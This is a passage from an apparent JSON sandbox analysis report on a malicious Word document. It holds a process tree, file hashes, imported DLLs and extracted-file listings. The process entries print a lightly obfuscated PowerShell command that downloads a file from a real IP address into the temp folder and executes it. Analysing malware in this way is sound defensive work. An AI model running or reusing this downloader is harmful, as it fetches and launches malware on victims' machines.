'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015279-00003060","uid":"00015720-00003108"},{"pid":288,"ppid":3108,"name":"powershell.exe","command_line":"powershell $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00015720-00003108","uid":"00015735-00000288"},{"pid":3428,"ppid":288,"name":"41097.exe","command_line":"","sha256":"94d545f285cae53f4efd484ebbe3c2c6c3e4542ded732f6985945e7ae62ab4e0","normalized_path":"%TEMP%\\41097.exe","parent_uid":"00015735-00000288","uid":"00017095-00003428"},{"pid":3224,"ppid":3060,"name":"DW20.EXE","command_line":"-x -s 788","sha256":"082329648337e5ba7377fed9d8a178809f37eecb8d795b93cca4ec07d8640ff7","normalized_path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE","parent_uid":"00015279-00003060","uid":"00039375-00003224"},{"pid":3784,"ppid":0,"name":"WINWORD.EXE","command_line":"/Automation -Embedding","sha256":"8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00016582-00003784","icon":"$30"}],"all_imported_dlls":["SendToOneNoteUI.dll","mscorlib.ni.dll","msvcrt.dll","apphelp.dll","ntshrui.dll","netutils.dll","shfolder.dll","ncrypt.dll","wkscli.dll","mscoree.dll","AcSpecfc.dll","dwmapi.dll","netapi32.dll","System.Xml.ni.dll","Microsoft.PowerShell.Commands.Management.dll","Microsoft.PowerShell.Security.dll","mscms.dll","winmm.dll","propsys.dll","devobj.dll","msproof7.dll","diasymreader.dll","mscoreei.dll","rsaenh.dll","OSPPCEXT.DLL","bcrypt.dll","rtutils.dll","uxtheme.dll","msxml6.dll","GKWord.dll","gameux.dll","dnsapi.dll","clbcatq.dll","cfgmgr32.dll","fontsub.dll","WSHTCPIP.DLL","Wldap32.dll","srvcli.dll","System.Configuration.Install.ni.dll","OFFICE.DLL","comdlg32.dll","ntmarta.dll","atl.dll","System.Core.dll","System.Transactions.dll","System.Data.ni.dll","IPHLPAPI.DLL","profapi.dll","iertutil.dll","kernel32.dll","imm32.dll","rpcss.dll","mxdwdrv.dll","wintrust.dll","Microsoft.PowerShell.ConsoleHost.dll","shlwapi.dll","setupapi.dll","System.ni.dll","SensApi.dll","dciman32.dll","oleaccrc.dll","cryptsp.dll","tzres.dll","rasapi32.dll","msxml6r.dll","msasn1.dll","System.Management.Automation.dll","mscorrc.dll","Microsoft.Vbe.Interop.dll","MSORES.DLL","mscorsec.dll","oleaut32.dll","version.dll","wininet.dll","VBE7.DLL","powrprof.dll","mscorjit.dll","mpr.dll","wer.dll","ws2_32.dll","cryptnet.dll","cabinet.dll","msvcr90.dll","GFX.DLL","msi.dll","MSPTLS.DLL","linkinfo.dll","secur32.dll","stdole.dll","winnsi.dll","WWLIB.DLL","WWINTL.DLL","WinSCard.dll","nsi.dll","rpcrt4.dll","lpk.dll","OSPPC.DLL","winhttp.dll","msadox.dll","ole32.dll","crypt32.dll","Microsoft.WSMan.Runtime.dll","rasadhlp.dll","OART.DLL","RICHED20.DLL","webio.dll","mscorwks.dll","Microsoft.PowerShell.Commands.Utility.dll","System.Management.dll","gpapi.dll","MSO.DLL","prntvpt.dll","oleacc.dll","shdocvw.dll","riched20.dll","advapi32.dll","usp10.dll","sspicli.dll","GdiPlus.dll","System.Data.dll","bcryptprimitives.dll","devrtl.dll","wship6.dll","xmllite.dll","rasman.dll","dhcpcsvc.dll","credssp.dll","ddraw.dll","ntdll.dll","KernelBase.dll","slc.dll","msvcr80.dll","System.DirectoryServices.ni.dll","mswsock.dll","urlmon.dll","msctf.dll","RpcRtRemote.dll","vfprint.dll","System.Configuration.ni.dll","comctl32.dll","sechost.dll","winbrand.dll","Microsoft.PowerShell.Commands.Diagnostics.dll","Microsoft.WSMan.Management.dll","System.ServiceProcess.ni.dll","user32.dll","USP10.DLL","WindowsCodecs.dll","psapi.dll","gdi32.dll","msimg32.dll","MSOINTL.DLL","cscapi.dll","sxs.dll","userenv.dll","System.Transactions.ni.dll","Microsoft.Office.Interop.Word.dll","wtsapi32.dll","cryptbase.dll","shell32.dll","unidrvui.dll","imagehlp.dll","dhcpcsvc6.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"READ__ME.html","sha256":"bdb2e5b558dae0425748d7ba94b8cd0a91acd70e655baed9e2f6aa10f38f03b6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"41097.exe","sha256":"94d545f285cae53f4efd484ebbe3c2c6c3e4542ded732f6985945e7ae62ab4e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Calculator.lnk","sha256":"a51b9002c20e868dcad32c09000449bb3740ab63f611c972d942b9a23e787d5e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Paint.lnk","sha256":"f9d9f5d2e896c31bb7a69fc9ca373cf1b4c1db8a7a37898850df82821ae5dc0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Sticky Notes.lnk","sha256":"c6af021f30b8f29e85e642537b028b171345855a67fd6f4779d4a8fe4febe4b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"GlobData","sha256":"5321640ac6ebf069c5a2a06c40af54d6426192d946a10c2bdf0160bafa230759","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"GlobSettings","sha256":"7af638597e2a8d57ddd967381c50768362cf2b85842555f52306a4a430cd4996","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"48B76449F3D5FEFA1133AA805E420F0FCA643651.crl","sha256":"38ccae986f00824c865c0bf391f633d8fc6ce828f4bafc639d0d375beb8aa5aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"A9B8213768ADC68AF64FCC6409E8BE414726687F.crl","sha256":"504a8f5214060d52b3f658b60cfda96c1badbc533d656dc13b35ba7a844743ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"addressbook.acrodata","sha256":"602e14ca82efc8b32ec7eb182ef71a0015e8b3175ff8bb2448b58f393fb80632","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"directories.acrodata","sha256":"cf85073076c8fa2c8c9b061b046a7925a19e0c77bc153ca530aa3cf7951aa489","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"services_rdr.dat","sha256":"4133780733531d9155e99709be72298bdf866d55f855b796f2f8b41b2df79ca9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"services_rdri.dat","sha256":"a021a5b0a77aada2338148b0efe96a63411c68a95083ba32f1ac29b61661d476","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"services_rdrk.dat","sha256":"74b4a83633c22efdfe39e7024a15d80affffbd54b74e9adfaf847c61baf0d380","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Resume.LNK","sha256":"f56b40bd11374c8885ce19efa1b4b26c7b70220cef7e3c288be47a9fc48685c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"index.dat","sha256":"071e8377aa017638b54ecab741a2d84d1de1d465fdac1af54d48a203cff40d42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SBN4OG9ZM5KAH0ME1C38.temp","sha256":"4140268c66534d7ee36796a1ef9e2c07a00b3da4595597f648593958133e7c7c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"InstallTime20150122214805","sha256":"bfe2302175fc040e40732c09548f8b4fbbd350d73bd082d2f4f6598c23bb4e85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SiteSecurityServiceState.txt","sha256":"37f0e9b9a447777eb715aaf7bb87daa95c229d70fcf04cd2221c8631fd7df5de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Telemetry.FailedProfileLocks.txt","sha256":"fb209bc5e4c204776007b700bd1bb4e74914d9d3a305f5443bab4a53a39ee0e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"addons.json","sha256":"ad8e5d23f794132212d9f7579d8f60b8d03c2076f2dacf2445fa418741f94c41","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"blocklist.xml","sha256":"a6bc974c5aafccd377810f1be55a0828f9af6c2f95d85607519ce4f9b47950d6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"cert8.db","sha256":"1f9c1c7f5a879bdc028b6ffd36a6d469da1d7344c786bc38ab1f6be3cb691401","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"compatibility.ini","sha256":"01fd1b116a8e4f3b97ed0c6f1b3cd7e02e5c422c14ab7df7dea1586cf01c1ebb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Google Chrome.lnk","sha256":"5ff648f93942987eb0320a8e23c99e71eed078bbccd7927e99fc5ccaeeace761","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Mozilla Firefox.lnk","sha256":"3ffe4f80cf8809f289a668745f13143733f365449ba25d9a9f6bef5c2b439c76","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"0pYWspjURe8aqA.exe","sha256":"05b25ee5171dd3e35c57bd8a5dfc4e0545f7243b7b5e6792e532af9d0ad80e5c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"0zIG0D.doc","sha256":"e59cac1253c625a63c7deac7cb289cf578a1365f211a6387ee98964a0b8d994c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"8323b28f1b300782a9b75b4fdaacfdf019bc4b18fc1d160765aca023209df3eb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"6SZfLTu9z.doc","sha256":"a8ae9c5177a083096c3575b9276c6fd9ff5a5c7c4142fbd11489628200d033fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"6WMjwc1zqk3IB.exe","sha256":"c751ff17b8c903379fcbff7ec17c0e318645cb5ab49f00ec0f093fc780dc7b9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EKeaJO.doc","sha256":"fe4ba8b40a1a6e1e3eb3965d3277d0e2ccbdeb9946de6ead8c1dcef18b18c78f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"F3hzum1.doc","sha256":"6e0f0e6108e81fc2d32c289b0c3c05753b4863eafbd3c300e0d05d1cf40cb4d1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"dH1rDN9f9.doc","sha256":"85aff444d4c165919a7f294ee6e336112b583ef8954ad39a6044dc22aed42cfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"dgQJde60mPXhI.exe","sha256":"6fffdf30f7911ad72d0e935fa9b858b1133d24e81f0c8dfb3f6b42aa004a81e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"dskCEJ.exe","sha256":"592ebcd2f4dea5a48af1c8916a60245367b373050ed076d50c7777fd52d1ea06","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"hKY8.doc","sha256":"21a478e8937cc6a91c16f7634abc42cd7253b706ba5b7e59dcd247fcefc1ed89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"hlchPBL.exe","sha256":"9a4ca7b484a13f959de346451053ef22ca8d8123a203f35a2e3e0e56258099b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"kY01UeAiy5.exe","sha256":"a12f7d4de281f9fbcdbf0a95533d5e0fa6f8b1be76fb66a114de0f8c5c4ac29b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"kdo6iAicsoicvHg.exe","sha256":"8298ee929767714bf19e9040cb749688da9aa072416bdc17833096c2029aba6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"b5ac81d20bddd401a2846de853b157e0b34499b120d6424fe72edbef9dcbb251","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mtgFs8Za.doc","sha256":"c96247730e7bf3b2f814ad74a28a3f433195105a1e78d4b21bacf36bef67a219","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"rRgk91Ih5n.doc","sha256":"541c897678638bd3c82a8621fd752e98c9d2d7de8b9cfe7bf790bd8668e6ac08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"tDUzYwYK5f.exe","sha256":"093f97424d0b43501341433b8652456cc5fa2ea2793b6ce6087d51ff37d735be","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"yZw6snqBQ28DAzu.exe","sha256":"ad337c3208a34e05f329b62ca5c2620b63a9766647e96ce6c8a3bdd3e5cc5e39","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Desktop.lnk","sha256":"d7c77c57335dd35db4ba52ae72fa046d0d671db5166a0deb17ddce9c4bf2131d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"autoexec.bat","sha256":"a38fb40d3391e38c9a637f8bb3029b243e17e274bee7741b2dc941c62dc2dd35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"BazisVirtualCDBus.inf","sha256":"346e9e9ea6b6f3e96748bf9fc78f4378926e80678a4a8c3b21a96f3e9b68dee9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOUC.EXE","sha256":"0907bc998da625c198b077ea6b3ba6e78593f5c0333d124b93b8950c69fbf15c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AUDIOSEARCHMAIN.DLL","sha256":"3181fae8f36a5458c6f82ecccd88d1570265d41ac4b46cbf1f230a2c1910b166","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vmnt64.exe","sha256":"19ff8740473ea6798ec81f13776294fe98885c1bcb97c2e7fed512115a2b775e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SCNPST32.DLL","sha256":"54ab193762303db856b4961790b988646bf55608637da0f15c4008ebf49801fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"CSS7DATA000C.DLL","sha256":"e30db832f7d2b1dc62f7a3cd16bdb500b3573f7f033f66a24c55e6ac62159974","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"c2.dll","sha256":"9944a56bbd0940aabb06fcf69f67b32ad0070afd3324a681a0a399d4a3398419","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"WORDICON.EXE","sha256":"2c04cf80854ff73c76b7e0c6a7b9c9288a1dba98d7189105a20b1d7e873198e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MLCFG32.CPL","sha256":"74a84b09ade1ccfdcfb5a1d6705ee65f2ad06a2bec68e0cd380a0717a30388d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ogalegit.dll","sha256":"4e544249db6807701b091079a426669d53e0d75298648eb69136d7a0f37eaf7a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"rpcapd.exe","sha256":"431732db544825df8511fe379c6e9b68d47d9c1d42d608908478f140af38feab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"XLCALL32.DLL","sha256":"dfce0e0ddfb6200c80ccc9a882d39034c06c20add3104b8d014733a34f8f44c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Qt5Gui.dll","sha256":"33b95122509bc8870de23c2c3291c95a6f8025a84ddbc349e4e6b2102553e7bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OUTLPH.DLL","sha256":"b1286c7814ec860997aba3959777450529afd1c75bd660d711719307e81dda72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"c1.dll","sha256":"5f891d48ff8112932e52754d95adf8997bfa01e57ef634ef897480e4e92da111","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PSTPRX32.DLL","sha256":"904eeb50d70ea664584b8ee335fee49bc0e051cebc62483e059b06ac5c9c078e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"liblzma-5.dll","sha256":"95aed7ae564dc9513334010c85306937ab8b13f7dc07e14067ef134651c57c9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"dumpbin.exe","sha256":"3b3f67bc55086faaa4c2e0b79dd5bf1cb3a5c3dea9fb265cb0e6909b74a6c047","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"c1xx.dll","sha256":"bb4504477c0b127b0030e16b46c217fa3c3e71e87fff5a7d69669a7b6763b8b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgoui.dll","sha256":"e9875e4d84f91cc3f304cd3377bcea9922aafb968dadac099c4d068b33a67da3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SEQCHK10.DLL","sha256":"cbd15bdf821f75b15bf5241b352159d69d6bf589edb15ef8529bf8baac7d5984","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"uninstall.exe","sha256":"fa97ca86edd565c9b2ed71d0025a991700eb6794cda8ce019ab117ba233abc6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libpangowin32-1.0-0.dll","sha256":"c26afc8a093c98d13a7fd055f495e76f3b275cfd20992a6a7c1d516db2ff9fcb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MAPIPH.DLL","sha256":"a2dae2165d36abd1b27cffb9fe2aa6917767193a7500a2eff09f5aef9a5a3bcb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"CSS7DATA000A.DLL","sha256":"19c3c5a0cb1dbad04dbda43096238c6a59deebae93b3d218594df97b359a28c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"msvcp90d.dll","sha256":"1d9fe10bc7ddb5a9351a91f4139c02748c6e93c42ea2f473bbe490fd5a70516f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libfontconfig-1.dll","sha256":"cfd2752b7cf3bf35ff4b6c436f58cefd492364082324fa12828e1fba29fc4d2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libatk-1.0-0.dll","sha256":"ad03618d67af3701afe672d0a6e3d158ffbc9f0205bad907e771855fb27222ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"WinSparkle.dll","sha256":"7873f20760f6ae5362afbea58aacef2a8ac01d0b2681850fba9031e62fb64d8c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MCPS.DLL","sha256":"79d017adc16fcc7ee6d2870dd2a2d00eba435f1e7ddb59f2888d379d9a696c34","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONBttnOL.dll","sha256":"0b3b10742f98bc83f097545af2cc350bd370a3ff6dc231af409f1a562aa07b9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PEOPLEDATAHANDLER.DLL","sha256":"5fea00dfad054a3e705255c1ef57627fdaa0107513be13d7197797f7f65cb0df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libtiff-5.dll","sha256":"17ab257442772052f13a10f7b98be6d4ef962f8a5bf5b6b01382fe01af0818e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"oisctrl.dll","sha256":"c6457e6a05d1c33d76eefc5dcabec85669e1b6987e167f450c5a721f2a39822d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Visual Studio 2008 Command Prompt.lnk","sha256":"482e69a874a89515b966f80c0de0e7f5cf08e25aa529c46f5abfd4e378f28e61","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"lib.exe","sha256":"f0dfd8e9b16d67f513a05df6dd3a4c3c176fc00058e3abacfd45539b7ed5883c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"VirtualAutorunDisabler.exe","sha256":"4454726b10dc5e0eecedd900eed0cb16ed11fbf1a069ad2bdde8065e2873cb52","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Uninstall.exe","sha256":"158a91c9972f3160219cf80a495bfb74caca3b8070ecb9bb7358c6725f0c78bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ose00002.exe","sha256":"26315c52cc0eb0287b6976257083d85e4d1f77e50a4727a0f2f4a60f178ee9b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"cvtres.exe","sha256":"a8b25df245df2eba6f7b045dfd9fdec45b0b63fbb108b6c229752858a9dd15e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EXSEC32.DLL","sha256":"dde16640a354c099d2e16d178dfd557fdafe71652e5ab9fb9072dea101cc51f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"qwindows.dll","sha256":"9c12d225cfe760fd613dc6850fffe616413b95d50f2ff3ed9f9919e4f7e461ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcvars32.bat","sha256":"3ac6fb9e892f9178c996b02d098fff3502fed28ae144cb177c784ecfc3877316","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SCANPST.EXE","sha256":"c7c693ab371efc789192482aeb954ee406741b4d12a0fd72f11d6f0620e40b81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TWRECC.DLL","sha256":"fd87418c912a49f0b4ebd725fbe42dcb57289ead835d61ada3f20f1f8b42243d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"IEAWSDC.DLL","sha256":"e5ad8d2527c9ca492328f8aaec4770244229ebdcb3bd39a7634286214ef8b6e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libpangocairo-1.0-0.dll","sha256":"3b2920e08364bb7f1b0e0c4b5d3e668771cb64c7f4918395a354e32a813f0caa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mscss7en.dll","sha256":"06e1202a8041fb93b6a856ac7e70f39e4de3dd3c08b1e5cc87c184be8b457aed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OFFRHD.DLL","sha256":"1fcdee24f3ae7c2fec0ea6f0a4fd523e4ad4ea7ef1e3e4256458ec267f244aa6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSQRY32.EXE","sha256":"e65691f67b13e963f03fbec9658078def20177c53bf4a4ee079e6af99f556db5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SOCIALPROVIDER.DLL","sha256":"9d4e8cde1630eea77c7c6781807801c2602ff6d197c7c49ce40874ba587900cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONFILTER.DLL","sha256":"0f2fd48aa4d64c5cd8fcfb3986050be004c257a959052f9263d9febb00ace244","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"VirtualAutorunDisablerPS.dll","sha256":"88ad8bd6cc404638d574046b59c08eb46fa2dfa94ad2c6d0e9c00fdbec81d612","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OISGRAPH.DLL","sha256":"0ca1ac9fd85a1646226e428fa988445a086e7c1872afb52788ef01bea6a1667a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TWRECE.DLL","sha256":"0cff70c313017918a5cffb10cba5806c7e19f3da15694a7d5562707a82006032","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"VCProjectEngine.dll","sha256":"bdf52c30a530becbea4127a5fd411b25e93325eb74af89f0bb92931c7b237eae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"linkui.dll","sha256":"33e0721826a69402409b7a06d982673d173a4771f34531a229d3720fc33ce11c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"INTLDATE.DLL","sha256":"64022a5806052d09104292b1e5fdf16a800ad9ce4ae7121b77a53ee685930e38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9